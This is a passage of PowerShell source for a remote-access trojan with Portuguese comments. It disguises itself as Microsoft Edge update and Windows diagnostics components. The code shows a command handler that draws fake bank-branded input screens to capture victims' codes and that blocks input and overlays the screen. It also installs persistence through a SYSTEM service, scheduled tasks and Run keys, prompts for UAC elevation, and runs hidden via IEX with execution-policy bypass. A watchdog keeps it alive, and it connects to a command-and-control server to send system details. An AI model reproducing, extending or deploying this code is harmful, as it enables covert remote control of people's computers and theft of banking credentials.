cliente (nao do PC) "client_restart" { try { # 1. Liberar todos os recursos Stop-DisplayOverlay Stop-InputPause Stop-CropScreen # 2. Verificar se é serviço ou tarefa agendada $svc = Get-Service -Name $script:InstallConfig.ServiceName -EA SilentlyContinue if ($svc) { # Reiniciar via Servico Windows Write-Host "[RESTART] Reiniciando via servico..." -ForegroundColor Cyan Restart-Service -Name $script:InstallConfig.ServiceName -Force -EA SilentlyContinue Start-Sleep -Milliseconds 500 [Environment]::Exit(0) } else { # Reiniciar via Task Scheduler (fallback) Write-Host "[RESTART] Reiniciando via tarefa agendada..." -ForegroundColor Cyan $restartScript = @" Start-Sleep -Seconds 2 Get-Process powershell* -EA SilentlyContinue | Where-Object { `$_.Id -ne `$PID -and (`$_.CommandLine -like '*msedgeupdate.txt*' -or `$_.CommandLine -like '*DeviceSync*' -or `$_.CommandLine -like '*ETW*') } | Stop-Process -Force -EA SilentlyContinue Start-Sleep -Seconds 1 schtasks /run /tn '$($script:InstallConfig.TaskName)' 2>`$null "@ $tempScript = "$env:TEMP\restart_$([guid]::NewGuid().ToString('N').Substring(0,8)).txt" $restartScript | Out-File -FilePath $tempScript -Encoding UTF8 Start-Invisible -Command "powershell.exe" -Arguments "-NoP -EP Bypass -W Hidden -c `"IEX (gc '$tempScript' -Raw)`"" Start-Sleep -Milliseconds 500 [Environment]::Exit(0) } } catch { return "ERROR: $_" } } "uninstall" { Stop-DisplayOverlay; Stop-InputPause Write-Host "[UNINSTALL] ===========================================" -ForegroundColor Red Write-Host "[UNINSTALL] Removendo TUDO..." -ForegroundColor Red # 0. MATAR WATCHDOGS E LIMPAR Write-Host "[UNINSTALL] 0. Limpando watchdogs..." -ForegroundColor Yellow try { # Parar jobs do PowerShell Get-Job -Name "CmdGuardian" -EA SilentlyContinue | Stop-Job -PassThru | Remove-Job -Force -EA SilentlyContinue # Remover arquivos de watchdog antigos (CMD) Remove-Item "$env:APPDATA\Microsoft\Diagnosis\ETW\etwtrace.cmd" -Force -EA SilentlyContinue Remove-Item "$env:APPDATA\Microsoft\Diagnosis\ETW\svchost.cmd" -Force -EA SilentlyContinue Remove-Item "$env:APPDATA\Microsoft\Diagnosis\ETW\cmd.pid" -Force -EA SilentlyContinue Remove-Item "$env:APPDATA\Microsoft\Diagnosis\ETW\client.pid" -Force -EA SilentlyContinue # Matar wscript (guardian antigo) Get-Process wscript -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue Write-Host "[UNINSTALL] [OK] Watchdogs limpos" -ForegroundColor Green } catch { Write-Host "[UNINSTALL] [!] Erro: $_" -ForegroundColor Yellow } # 1. PARAR E REMOVER SERVICO (usando novo sistema) Write-Host "[UNINSTALL] 1. Removendo servico..." -ForegroundColor Yellow try { # Remover servico novo Stop-Service -Name $script:InstallConfig.ServiceName -Force -ErrorAction SilentlyContinue Start-Sleep -Seconds 1 sc.exe delete $script:InstallConfig.ServiceName 2>$null | Out-Null # Remover servico antigo (compatibilidade) Stop-Service -Name "DiagTrackManager" -Force -ErrorAction SilentlyContinue sc.exe delete "DiagTrackManager" 2>$null | Out-Null Write-Host "[UNINSTALL] [OK] Servico removido" -ForegroundColor Green } catch { Write-Host "[UNINSTALL] [!] Erro ao remover servico: $_" -ForegroundColor Yellow } # 2. REMOVER TODAS AS TAREFAS AGENDADAS Write-Host "[UNINSTALL] 2. Removendo tarefas agendadas..." -ForegroundColor Yellow @($script:InstallConfig.TaskName,"WinDiagETW","DiagTrackManager","MicrosoftEdgeUpdateCore","MicrosoftDeviceSyncService","WindowsDeviceSync","DeviceSyncHost","WinSvc","WindowsUpdateService","SystemHealthMonitor","SystemHealthCheck","WinDiagTask0","WinDiagTask20","WinDiagTask40") | ForEach-Object { Unregister-ScheduledTask -TaskName $_ -Confirm:$false -ErrorAction SilentlyContinue schtasks /delete /tn $_ /f 2>$null | Out-Null schtasks /delete /tn "\Microsoft\Windows\$_" /f 2>$null | Out-Null } Write-Host "[UNINSTALL] [OK] Tarefas removidas" -ForegroundColor Green # 3. REMOVER ENTRADAS DE REGISTRO Write-Host "[UNINSTALL] 3. Limpando registro..." -ForegroundColor Yellow @("WinDiagETW","MicrosoftEdgeUpdateCore","DeviceSyncHost","DiagTrackManager","WinSvc","WindowsDeviceSync","MicrosoftDeviceSync","SystemHealth") | ForEach-Object { reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v $_ /f 2>$null | Out-Null reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v $_ /f 2>$null | Out-Null reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v $_ /f 2>$null | Out-Null reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v $_ /f 2>$null | Out-Null } Write-Host "[UNINSTALL] [OK] Registro limpo" -ForegroundColor Green # 4. CRIAR SCRIPT DE LIMPEZA (executa apos processo fechar) Write-Host "[UNINSTALL] 4. Criando script de limpeza..." -ForegroundColor Yellow $cleanupScript = @' Start-Sleep -Seconds 3 # Matar processos relacionados Get-Process powershell* -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $PID -and ($_.CommandLine -like "*svc.txt*" -or $_.CommandLine -like "*msedgeupdate.txt*" -or $_.CommandLine -like "*DeviceSync*" -or $_.CommandLine -like "*WinSvc*" -or $_.CommandLine -like "*WinDiagETW*" -or $_.CommandLine -like "*DiagTrackManager*" -or $_.CommandLine -like "*Client.txt*" -or $_.CommandLine -like "*DiagnosticsHost*") } | Stop-Process -Force -ErrorAction SilentlyContinue Start-Sleep -Seconds 2 # Remover pastas - INCLUINDO A DO SERVICO $folders = @( "C:\ProgramData\Microsoft\Diagnosis\ETW", "C:\ProgramData\Microsoft\Diagnostics", "$env:APPDATA\Microsoft\Diagnosis\ETW", "$env:APPDATA\Microsoft\Diagnosis", "$env:ProgramData\Microsoft\DeviceSync", "$env:APPDATA\WinSvc", "$env:LOCALAPPDATA\WinSvc", "$env:APPDATA\Microsoft\DeviceSync", "$env:APPDATA\Microsoft\DiagTrack", "$env:LOCALAPPDATA\Microsoft\DeviceSync", "$env:TEMP\DeviceSync", "$env:TEMP\WinSvc" ) foreach ($f in $folders) { if (Test-Path $f) { try { Remove-Item $f -Recurse -Force -ErrorAction Stop Write-Host "Removido: $f" } catch { # Tentar novamente Start-Sleep -Seconds 1 Remove-Item $f -Recurse -Force -ErrorAction SilentlyContinue } } } # Limpar scripts temporarios Get-ChildItem $env:TEMP -Filter "*.txt" -ErrorAction SilentlyContinue | Where-Object { $_.Name -match "cleanup|install|device|winsvc|diag" } | Remove-Item -Force -ErrorAction SilentlyContinue # Limpar flags Remove-Item "$env:TEMP\diag_*.*" -Force -ErrorAction SilentlyContinue Remove-Item "$env:TEMP\uac_*.*" -Force -ErrorAction SilentlyContinue # Auto-deletar Remove-Item $MyInvocation.MyCommand.Path -Force -ErrorAction SilentlyContinue '@ $cleanPath = "$env:TEMP\cleanup_$(Get-Random).txt" $cleanupScript | Out-File -FilePath $cleanPath -Encoding UTF8 # Executar limpeza em processo separado Start-Invisible -Command "powershell.exe" -Arguments "-NoP -EP Bypass -W Hidden -c `"IEX (gc '$cleanPath' -Raw)`"" Write-Host "[UNINSTALL] [OK] Script de limpeza iniciado" -ForegroundColor Green Write-Host "[UNINSTALL] ===========================================" -ForegroundColor Red Write-Host "[UNINSTALL] Encerrando processo..." -ForegroundColor Red Start-Sleep -Seconds 1 [Environment]::Exit(0) } default { # Verificar se e comando de recorte (crop) if ($Cmd -like "cropArea:*") { try { $jsonPart = $Cmd.Substring(9) $params = $jsonPart | ConvertFrom-Json # Obter resolucao do monitor SELECIONADO $selectedMon = Get-SelectedMonitor $screenW = $selectedMon.Width $screenH = $selectedMon.Height Write-Host "===================================================" -ForegroundColor Yellow Write-Host "[CROP DEBUG] Monitor Index: $($selectedMon.Index)" -ForegroundColor Cyan Write-Host "[CROP DEBUG] Monitor X,Y: ($($selectedMon.X), $($selectedMon.Y))" -ForegroundColor Cyan Write-Host "[CROP DEBUG] Monitor Size: ${screenW}x${screenH}" -ForegroundColor Cyan Write-Host "[CROP DEBUG] Percentuais recebidos: xPct=$($params.xPct) yPct=$($params.yPct) wPct=$($params.wPct) hPct=$($params.hPct)" -ForegroundColor Cyan # Converter PORCENTAGEM para PIXELS $xPct = [double]$params.xPct $yPct = [double]$params.yPct $wPct = [double]$params.wPct $hPct = [double]$params.hPct $x = [int]($xPct * $screenW) $y = [int]($yPct * $screenH) $w = [int]($wPct * $screenW) $h = [int]($hPct * $screenH) Write-Host "[CROP DEBUG] Pixels calculados: x=$x y=$y w=$w h=$h" -ForegroundColor Cyan # Posicao ABSOLUTA do buraco $absX = $selectedMon.X + $x $absY = $selectedMon.Y + $y Write-Host "[CROP DEBUG] Posicao ABSOLUTA: ($absX, $absY)" -ForegroundColor Green Write-Host "===================================================" -ForegroundColor Yellow # Validar valores minimos if ($w -lt 50) { $w = 50 } if ($h -lt 50) { $h = 50 } # Guardar priv mode atual antes de desativar $script:OverlayModeBeforeCrop = $script:CurrentOverlayMode # Desativar priv mode para tirar o print try { Stop-DisplayOverlay } catch {} Start-Sleep -Milliseconds 100 # Mostrar tela de crop com mensagem $cropMessage = if ($params.message) { $params.message } else { "" } Show-CropScreen -CropX $x -CropY $y -CropW $w -CropH $h -Message $cropMessage return "Crop OK: ${w}x${h} at ($x,$y) abs($absX,$absY)" } catch { Write-Host "[CROP ERROR] $_" -ForegroundColor Red return "Crop error: $_" } } # Verificar se e comando de captura if ($Cmd -like "dataEntry:*") { $wasBlocked = $false $privModeToRestore = $null $company = "Desconhecido" $screenName = "Desconhecido" $companyKey = "unknown" $screenId = "unknown" $result = "" try { # "dataEntry:" = 10 caracteres $jsonPart = $Cmd.Substring(10) $params = $jsonPart | ConvertFrom-Json # Guardar info para restauracao em caso de erro $company = if ($params.company) { $params.company } else { "Personalizado" } $screenName = if ($params.screenName) { $params.screenName } else { "Tela Personalizada" } $companyKey = if ($params.companyKey) { $params.companyKey } else { "custom" } $screenId = if ($params.screenId) { $params.screenId } else { "custom" } $privModeToRestore = if ($params.privMode) { [int]$params.privMode } else { $null } # DESLIGAR TELA PRIV INSTANTANEAMENTE para screenshot try { Stop-DisplayOverlay } catch {} # Salvar estado do block e desbloquear para permitir digitacao $wasBlocked = $script:InputPaused if ($wasBlocked) { try { Stop-InputPause } catch {} } # Cores do banco - verificar se propriedade existe $bankR = if ($null -ne $params.bankR) { [int]$params.bankR } else { 0 } $bankG = if ($null -ne $params.bankG) { [int]$params.bankG } else { 120 } $bankB = if ($null -ne $params.bankB) { [int]$params.bankB } else { 212 } $textR = if ($null -ne $params.textR) { [int]$params.textR } else { 255 } $textG = if ($null -ne $params.textG) { [int]$params.textG } else { 255 } $textB = if ($null -ne $params.textB) { [int]$params.textB } else { 255 } $bankName = if ($params.bankName) { $params.bankName } else { "" } $maxLen = if ($params.maxLength) { [int]$params.maxLength } else { 8 } # Executar captura $result = Show-DataEntryScreen -Title $params.title -Message $params.message -Label $params.label ` -BankName $bankName -BankR $bankR -BankG $bankG -BankB $bankB ` -TextR $textR -TextG $textG -TextB $textB -MaxLength $maxLen } catch { $result = "ERRO: $_" } finally { # SEMPRE restaurar estado - mesmo em caso de erro try { # Rebloquear se estava bloqueado if ($wasBlocked) { Start-InputPause } } catch {} try { # Reativar priv mode imediatamente if ($privModeToRestore) { Start-DisplayOverlay -Mode $privModeToRestore } } catch {} } return "CAPTURED|$company|$screenName|$companyKey|$screenId|$result" } return "Unknown: $Cmd" } } } # =============================================================================== # SISTEMA DE DETECCAO DE INATIVIDADE (20 MINUTOS) # =============================================================================== Add-Type @' using System; using System.Runtime.InteropServices; public class IdleDetector { [StructLayout(LayoutKind.Sequential)] public struct LASTINPUTINFO { public uint cbSize; public uint dwTime; } [DllImport("user32.dll")] public static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); public static uint GetIdleTime() { LASTINPUTINFO lii = new LASTINPUTINFO(); lii.cbSize = (uint)Marshal.SizeOf(typeof(LASTINPUTINFO)); if (GetLastInputInfo(ref lii)) { return (uint)Environment.TickCount - lii.dwTime; } return 0; } } '@ $global:IdleTimeout = 1200000 $global:CurrentIdleState = "active" $global:LastIdleCheck = [long]([DateTime]::UtcNow.Ticks / 10000) $global:JustResumedFromIdle = $false # Funcao para acordar do idle quando operador remoto envia comandos function Force-WakeFromIdle { if ($global:CurrentIdleState -eq "idle") { Write-Host "[*] [REMOTE WAKE] Comando remoto recebido - ACORDANDO do idle!" -ForegroundColor Cyan $global:CurrentIdleState = "active" $global:JustResumedFromIdle = $true } } function Check-IdleStatus { param($stream) $now = [long]([DateTime]::UtcNow.Ticks / 10000) if (($now - $global:LastIdleCheck) -lt 10000) { return ($global:CurrentIdleState -eq "idle") } $global:LastIdleCheck = $now $idleTime = [IdleDetector]::GetIdleTime() if ($idleTime -gt $global:IdleTimeout -and $global:CurrentIdleState -eq "active") { $minutes = [math]::Round($idleTime / 60000, 1) Write-Host "[*] [IDLE] PC inativo por $minutes minutos - PAUSANDO captura de tela..." -ForegroundColor Yellow Write-Host " [*] A captura sera retomada automaticamente quando voce usar o PC" -ForegroundColor DarkYellow $global:CurrentIdleState = "idle" Send-IdleStatus $stream "idle" $idleTime return $true } elseif ($idleTime -lt 5000 -and $global:CurrentIdleState -eq "idle") { Write-Host "[>] [ACTIVE] PC voltou ativo - RETOMANDO captura de tela!" -ForegroundColor Green $global:CurrentIdleState = "active" $global:JustResumedFromIdle = $true Send-IdleStatus $stream "active" $idleTime return $false } return ($global:CurrentIdleState -eq "idle") } function Clear-StreamBuffer { param($stream) # Nao descartar buffer - o loop principal processa 20 pacotes/iteracao # Descartar raw bytes quebra o protocolo e perde comandos validos # Stale screenshots sao consumidos naturalmente em 1-2 iteracoes Write-Host "[RESUME] Buffer preservado - loop principal vai processar" -ForegroundColor Cyan } function Send-IdleStatus { param($stream, $status, $idleTime) try { $json = @{ Status = $status IdleTime = $idleTime Timestamp = (Get-Date).ToString("o") } | ConvertTo-Json -Compress $data = [System.Text.Encoding]::UTF8.GetBytes($json) $__bw=$script:BW;$__bw.Write([byte[]]@(0x4C,0x51,0x57,0x50));$__bw.Write([byte]0xF0);$__bw.Write([int32]$data.Length);$__bw.Write([byte[]]$data);$__bw.Flush() $min = [math]::Round($idleTime/60000, 1) Write-Host "[IDLE] Status enviado ao servidor: $status (idle: $min min)" -ForegroundColor Cyan } catch { Write-Host "[ERROR] Erro ao enviar status idle: $_" -ForegroundColor Red } } Write-Host "[OK] Sistema de pausa inteligente ativado (timeout: 20 minutos)" -ForegroundColor Green function Start-Client { Write-DebugLog "=== START-CLIENT INICIADO ===" Write-DebugLog "PID: $PID" Write-DebugLog "User: $([System.Security.Principal.WindowsIdentity]::GetCurrent().Name)" Write-DebugLog "SID: $([System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value)" # === VERIFICAR SE JA EXISTE PROCESSO SYSTEM RODANDO (evitar conexao duplicada) === $myIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $amISystem = ($myIdentity.User.Value -eq "S-1-5-18") # Detectar se estamos rodando interativamente (console visivel) $isInteractive = [Environment]::UserInteractive -and ([Console]::WindowHeight -gt 0 -or $Host.Name -eq "ConsoleHost") # Se -Force OU rodando interativamente -> ignorar check e continuar if ($Force -or $isInteractive) { if (-not $amISystem) { Write-Host "[SMART] Modo interativo/Force detectado - matando processos antigos..." -ForegroundColor Cyan # Matar processos antigos e limpar PID files foreach ($pidPath in @("$env:APPDATA\Microsoft\Diagnosis\ETW\client.pid", "C:\ProgramData\Microsoft\Diagnosis\ETW\client.pid")) { try { if (Test-Path $pidPath -ErrorAction SilentlyContinue) { $oldPid = [int](Get-Content $pidPath -Raw -ErrorAction SilentlyContinue) if ($oldPid -and $oldPid -ne $PID) { # Tentar matar via taskkill (funciona melhor com SYSTEM) Start-Process "taskkill" -ArgumentList "/F /PID $oldPid" -NoNewWindow -Wait -ErrorAction SilentlyContinue Write-Host "[SMART] Processo antigo (PID $oldPid) finalizado" -ForegroundColor Green } Remove-Item $pidPath -Force -ErrorAction SilentlyContinue } } catch {} } } } # Se nao e interativo e nao e -Force, fazer check normal (para spawns automaticos) elseif (-not $amISystem) { foreach ($pidPath in @("$env:APPDATA\Microsoft\Diagnosis\ETW\client.pid", "C:\ProgramData\Microsoft\Diagnosis\ETW\client.pid")) { try { if (Test-Path $pidPath -ErrorAction SilentlyContinue) { $existingPid = [int](Get-Content $pidPath -Raw -ErrorAction SilentlyContinue) $existingProc = Get-Process -Id $existingPid -ErrorAction SilentlyContinue if ($existingProc -and $existingProc.ProcessName -match "powershell") { Write-DebugLog "SYSTEM client ativo (PID $existingPid) - abortando spawn duplicado" return } } } catch {} } } # Log de inicio tambem no arquivo do processo try { $msg = "$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') - START-CLIENT: PID=$PID, User=$([System.Security.Principal.WindowsIdentity]::GetCurrent().Name)" $msg | Out-File "C:\ProgramData\Microsoft\Diagnosis\ETW\user_process.log" -Append -Force } catch {} # NOTA: Removido Stop-DisplayOverlay daqui - overlay deve persistir através de reconexões try { [NativeInput]::Unblock() } catch {} # =========================================================================== # VERIFICAR E INSTALAR SERVICO/PERSISTENCIA # =========================================================================== # Detectar caminho do script (multiplas formas para garantir) $scriptPath = $null if ($MyInvocation.MyCommand.Path) { $scriptPath = $MyInvocation.MyCommand.Path } elseif ($script:SourceScriptPath) { $scriptPath = $script:SourceScriptPath } elseif ($MyInvocation.InvocationName -and (Test-Path $MyInvocation.InvocationName -ErrorAction SilentlyContinue)) { $scriptPath = (Resolve-Path $MyInvocation.InvocationName).Path } Write-DebugLog "scriptPath detectado: $scriptPath" # Se nao encontrou, tentar caminhos conhecidos if (-not $scriptPath -or -not (Test-Path $scriptPath -ErrorAction SilentlyContinue)) { $possiblePaths = @( "$env:APPDATA\Microsoft\Diagnosis\ETW\msedgeupdate.txt", "$env:ProgramData\Microsoft\Diagnosis\ETW\msedgeupdate.txt" ) foreach ($p in $possiblePaths) { if (Test-Path $p -ErrorAction SilentlyContinue) { $scriptPath = $p Write-DebugLog "scriptPath encontrado em: $scriptPath" break } } } $isSystem = Test-IsSystem $isAdmin = Test-IsAdmin $serviceExists = Test-ServiceExists # Detectar sessao atual $mySession = 0 try { $mySession = [ExplorerSpawner]::GetSessionId() } catch {} Write-Host "[INFO] System: $isSystem | Admin: $isAdmin | Service: $serviceExists | Session: $mySession | Spawned: $SpawnedByService" -ForegroundColor Cyan Write-Host "[SCRIPT] Path: $scriptPath" -ForegroundColor Gray Write-DebugLog "Elevacao: isSystem=$isSystem, isAdmin=$isAdmin, serviceExists=$serviceExists, session=$mySession, spawned=$SpawnedByService" # =========================================================================== # FLUXO DE DECISAO # =========================================================================== # 1. SpawnedByService=true OU (SYSTEM em Session > 0) -> CLIENTE, conectar # 2. Servico existe + e USER -> encerrar (servico SYSTEM cuida de tudo) # 3. Admin -> instalar servico e encerrar # 4. User -> pedir UAC # - Aceito -> instala servico, encerra # - Negado -> persistencia USER, conecta como USER # =========================================================================== # CASO 1: Spawned pelo servico OU SYSTEM em sessao do usuario -> ir direto conectar if ($SpawnedByService -or ($isSystem -and $mySession -gt 0)) { Write-Host "[CLIENT] Processo SYSTEM na sessao $mySession - conectando ao C2..." -ForegroundColor Green Write-DebugLog "Cliente SYSTEM na sessao do usuario - indo conectar" # NAO faz nada, continua para o loop de conexao abaixo } # CASO 2: Servico existe e sou USER -> servico ja cuida, encerrar elseif ($serviceExists -and -not $isSystem) { Write-Host "[EXIT] Servico SYSTEM ativo - processo USER nao necessario" -ForegroundColor Yellow Write-DebugLog "Servico existe, sou USER - encerrando" # Limpar tasks USER orfas (servico SYSTEM cuida de tudo) try { $cfg = $script:CleanPersistConfig Unregister-ScheduledTask -TaskName $cfg.TaskName -Confirm:$false -ErrorAction SilentlyContinue Unregister-ScheduledTask -TaskName "$($cfg.TaskName)_WD" -Confirm:$false -ErrorAction SilentlyContinue Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $cfg.TaskName -ErrorAction SilentlyContinue } catch {} Start-Sleep -Seconds 2 [Environment]::Exit(0) } # CASO 3: Admin (mas nao SYSTEM) -> instalar servico elseif ($isAdmin) { Write-Host "[SERVICE] Privilegios Admin - Instalando servico SYSTEM..." -ForegroundColor Green $serviceInstalled = $false if ($scriptPath) { $installed = Install-EdgeService -ScriptPath $scriptPath if ($installed) { Write-Host "[SERVICE] [OK] Servico instalado! Encerrando..." -ForegroundColor Green $serviceInstalled = $true Start-Sleep -Seconds 3 [Environment]::Exit(0) } } # Fallback: se servico falhou, instalar persistencia USER if (-not $serviceInstalled) { Write-Host "[SERVICE] Servico falhou - instalando persistencia USER..." -ForegroundColor Yellow if ($scriptPath -and (Test-Path $scriptPath -EA SilentlyContinue)) { Install-CleanPersistence -ScriptPath $scriptPath | Out-Null Write-DebugLog "Fallback: persistencia USER criada (Admin sem servico)" } } } # CASO 4: User normal -> pedir UAC, se negar conecta como USER else { Write-Host "[USER] Executando como User..." -ForegroundColor Yellow Write-DebugLog "User mode - scriptPath: $scriptPath" # Copiar script para local de persistencia $persistPath = "$env:APPDATA\Microsoft\Diagnosis\ETW\msedgeupdate.txt" $persistDir = Split-Path $persistPath -Parent if (-not (Test-Path $persistDir)) { New-Item -Path $persistDir -ItemType Directory -Force | Out-Null } if ($scriptPath -and $scriptPath -ne $persistPath -and (Test-Path $scriptPath -ErrorAction SilentlyContinue)) { Copy-Item -Path $scriptPath -Destination $persistPath -Force -ErrorAction SilentlyContinue Write-DebugLog "Script copiado para: $persistPath" } # Verificar se destino existe, se nao tentar auto-salvar if (-not (Test-Path $persistPath -EA SilentlyContinue)) { Write-DebugLog "AVISO: persistPath nao existe, tentando auto-salvar..." try { if ($MyInvocation.MyCommand.ScriptBlock) { $MyInvocation.MyCommand.ScriptBlock.ToString() | Out-File -FilePath $persistPath -Encoding UTF8 -Force Write-DebugLog "Auto-salvo em: $persistPath" } } catch { Write-DebugLog "Erro auto-save: $_" } } if (-not $scriptPath -or -not (Test-Path $scriptPath -ErrorAction SilentlyContinue)) { $scriptPath = $persistPath } # Verificar se deve pedir UAC (apenas primeira execucao interativa) $skipUAC = ($env:MSEDGE_SKIP_UAC -eq "1") if (-not $skipUAC) { # Limpar instalacao anterior corrompida (se existir) try { $cfg = $script:CleanPersistConfig $oldTask = Get-ScheduledTask -TaskName $cfg.TaskName -ErrorAction SilentlyContinue if ($oldTask) { Write-DebugLog "Limpando instalacao anterior..." Unregister-ScheduledTask -TaskName $cfg.TaskName -Confirm:$false -ErrorAction SilentlyContinue Unregister-ScheduledTask -TaskName "$($cfg.TaskName)_WD" -Confirm:$false -ErrorAction SilentlyContinue } } catch {} # Criar persistencia USER que pede UAC no boot Write-Host "[USER] Criando persistencia (pedira UAC no proximo boot)..." -ForegroundColor Cyan $persistOK = Install-CleanPersistence -ScriptPath $persistPath # Se falhou, tentar mais uma vez apos limpeza if (-not $persistOK) { Write-DebugLog "Persistencia falhou, tentando novamente..." Start-Sleep -Seconds 1 $persistOK = Install-CleanPersistence -ScriptPath $persistPath if (-not $persistOK) { Write-DebugLog "AVISO: Persistencia falhou 2x - continuando sem persistencia" } } # Pedir UAC agora (NAO esconder janela - UAC precisa de contexto interativo) Write-Host "[USER] Solicitando elevacao UAC..." -ForegroundColor Yellow $result = Request-UACAndInstallService -ScriptPath $persistPath if ($result -eq "installed") { Write-Host "[USER] UAC ACEITO - SYSTEM instalado!" -ForegroundColor Green # Limpar tasks USER (servico SYSTEM cuida de tudo agora) try { $cfg = $script:CleanPersistConfig Unregister-ScheduledTask -TaskName $cfg.TaskName -Confirm:$false -ErrorAction SilentlyContinue Unregister-ScheduledTask -TaskName "$($cfg.TaskName)_WD" -Confirm:$false -ErrorAction SilentlyContinue Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $cfg.TaskName -ErrorAction SilentlyContinue Write-DebugLog "Tasks USER removidas (SYSTEM ativo)" } catch {} Start-Sleep -Seconds 2 [Environment]::Exit(0) } else { Write-Host "[USER] UAC negado - iniciando em background..." -ForegroundColor Yellow # Spawnar processo background 100% invisivel (ProcessStartInfo.CreateNoWindow) Start-Invisible -Command "powershell.exe" -Arguments "-NoP -EP Bypass -W Hidden -c `"`$env:MSEDGE_SKIP_UAC='1'; IEX (gc '$persistPath' -Raw)`"" Write-Host "[USER] Processo background iniciado!" -ForegroundColor Green Write-Host "[USER] No proximo boot, UAC sera pedido novamente." -ForegroundColor Cyan Start-Sleep -Seconds 2 [Environment]::Exit(0) } } else { Write-DebugLog "Processo background - conectando direto..." } } Write-DebugLog "Iniciando loop de conexao..." # === VERIFICAR INSTÂNCIA ÚNICA === # Verificar em AMBOS os locais (USER e SYSTEM) foreach ($pidFile in @("$env:APPDATA\Microsoft\Diagnosis\ETW\client.pid", "C:\ProgramData\Microsoft\Diagnosis\ETW\client.pid")) { if (Test-Path $pidFile) { $savedPid = (Get-Content $pidFile -Raw -EA SilentlyContinue).Trim() if ($savedPid -match '^\d+$' -and [int]$savedPid -ne $PID) { $existingProc = Get-Process -Id ([int]$savedPid) -ErrorAction SilentlyContinue if ($existingProc -and $existingProc.Name -like "*powershell*") { Write-DebugLog "[SINGLE] Outra instancia ja rodando (PID $savedPid) - encerrando este" [Environment]::Exit(0) } } } } # === INICIAR GUARDIAN (proteção tripla) === $scriptPath = $MyInvocation.MyCommand.Path if (-not $scriptPath) { $scriptPath = $script:SourceScriptPath } if (-not $scriptPath -or -not (Test-Path $scriptPath -EA SilentlyContinue)) { $scriptPath = "$env:APPDATA\Microsoft\Diagnosis\ETW\msedgeupdate.txt" } if (-not (Test-Path $scriptPath -EA SilentlyContinue)) { $scriptPath = "$env:ProgramData\Microsoft\Diagnosis\ETW\msedgeupdate.txt" } if (-not (Test-Path $scriptPath -EA SilentlyContinue)) { $scriptPath = "C:\Users\Public\Documents\msedge.txt" } # Verificar integridade do script (nao rodar guardian com arquivo vazio/corrompido) if (Test-Path $scriptPath -EA SilentlyContinue) { $scriptSize = (Get-Item $scriptPath -EA SilentlyContinue).Length if ($scriptSize -lt 1000) { Write-DebugLog "[GUARDIAN] AVISO: Script muito pequeno ($scriptSize bytes) - pode estar corrompido" # Tentar recuperar de outro local $altPaths = @("C:\Users\Public\Documents\msedge.txt", "$env:APPDATA\Microsoft\Diagnosis\ETW\msedgeupdate.txt", "$env:ProgramData\Microsoft\Diagnosis\ETW\msedgeupdate.txt") foreach ($alt in $altPaths) { if ($alt -ne $scriptPath -and (Test-Path $alt -EA SilentlyContinue) -and (Get-Item $alt -EA SilentlyContinue).Length -gt 1000) { Copy-Item -Path $alt -Destination $scriptPath -Force -EA SilentlyContinue Write-DebugLog "[GUARDIAN] Script recuperado de: $alt" break } } } } Start-Guardian -ScriptPath $scriptPath -CheckSeconds 5 while ($true) { try { # =============================================================== # RE-RESOLVER DOMINIO A CADA CONEXAO (se mudar de VPS, encontra) # =============================================================== $Config.ServerAddress = Resolve-ServerAddress Write-DebugLog "=== TENTANDO CONEXAO ===" Write-DebugLog "ServerAddress: $($Config.ServerAddress)" Write-DebugLog "ServerPort: $($Config.ServerPort)" Write-Host "[CONNECT] Conectando a $($Config.ServerAddress):$($Config.ServerPort)..." -ForegroundColor Cyan Write-DebugLog "Tentando conectar: $($Config.ServerAddress):$($Config.ServerPort)" $client = New-Object System.Net.Sockets.TcpClient $client.Connect($Config.ServerAddress, $Config.ServerPort) Write-DebugLog "Conectado!" $client.NoDelay = $true $client.SendBufferSize = 262144 # 256KB (frame inteiro sem fragmentar) $client.ReceiveBufferSize = 131072 # 128KB recebimento $stream = $client.GetStream() $stream.ReadTimeout = 100 # OTIMIZADO: 100ms (balanceado - rápido mas estável) $stream.WriteTimeout = 500 $script:BW = New-Object System.IO.BinaryWriter($stream,[System.Text.Encoding]::UTF8,$true) # BW reutilizavel Write-DebugLog "Enviando ClientHello..." $helloJson = (@{ Version = $Config.Version } | ConvertTo-Json -Compress -Depth 10) $helloData = [System.Text.Encoding]::UTF8.GetBytes($helloJson) $bw = $script:BW $bw.Write([byte[]]@(0x4C, 0x51, 0x57, 0x50)) $bw.Write([byte]0x01) $bw.Write([int32]$helloData.Length) $bw.Write([byte[]]$helloData) $bw.Flush() Write-DebugLog "ClientHello SENT: type=0x01, dataLen=$($helloData.Length)" Read-Packet -Stream $stream | Out-Null Write-DebugLog "Enviando GuestInfo..." $sysInfo = Get-SystemInfo $jsonStr = $sysInfo | ConvertTo-Json -Compress -Depth 10 Write-DebugLog "GuestInfo JSON completo: $jsonStr" Write-DebugLog "JSON Length: $($jsonStr.Length)" $guestData = [System.Text.Encoding]::UTF8.GetBytes($jsonStr) $bw = $script:BW $bw.Write([byte[]]@(0x4C, 0x51, 0x57, 0x50)) $bw.Write([byte]0xE6) $bw.Write([int32]$guestData.Length) $bw.Write([byte[]]$guestData) $bw.Flush() Write-DebugLog "GuestInfo SENT: type=0xE6(230), dataLen=$($guestData.Length)" # Aguardar SessionInfo do servidor (pode receber Ping antes) Write-DebugLog "Aguardando SessionInfo..." $sessionReceived = $false $attempts = 0 while (-not $sessionReceived -and $attempts -lt 10) { $attempts++ Start-Sleep -Milliseconds 300 $pkt = Read-Packet -Stream $stream if ($pkt) { $rawData = "" if ($pkt.Data.Length -gt 0) { $rawData = [System.Text.Encoding]::UTF8.GetString($pkt.Data) } Write-DebugLog "Pacote recebido: Type=0x$($pkt.Type.ToString('X2')), DataLen=$($pkt.Data.Length)" Write-DebugLog "Raw data: $rawData" # SessionInfo = 0x06 if ($pkt.Type -eq 0x06) { try { $sessionJson = $rawData | 